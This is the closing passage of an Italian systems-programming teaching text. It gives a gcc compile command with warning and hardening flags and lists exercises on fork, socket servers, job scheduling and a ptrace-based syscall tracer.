gcc -Wall -Wextra -std=c11 -o programma programma.c
È raccomandato abilitare i warning (-Wall -Wextra) per individuare potenziali problemi. Per applicazioni di produzione, considerare anche flag di ottimizzazione (-O2) e sicurezza (-D_FORTIFY_SOURCE=2, -fstack-protector-strong).
Esercizi Proposti:
Implementare un programma che crei una gerarchia di processi ad albero (padre con N figli, ogni figlio con M figli).
Scrivere un’applicazione che esegua comandi in parallelo e raccolga i risultati (simile a GNU parallel).
Implementare un server concorrente che gestisca connessioni socket usando fork.
Creare un sistema di job scheduling che esegua comandi a orari specificati (simile a cron).
Sviluppare un debugger semplificato che usi fork() e ptrace() per tracciare le system call di un processo.
Questo documento costituisce materiale didattico per corsi universitari e di istituto tecnico superiore in Sistemi Operativi, Programmazione di Sistema e materie correlate. La trattazione combina rigore accademico con applicabilità pratica, fornendo sia fondamenti teorici che esempi concreti di implementazione.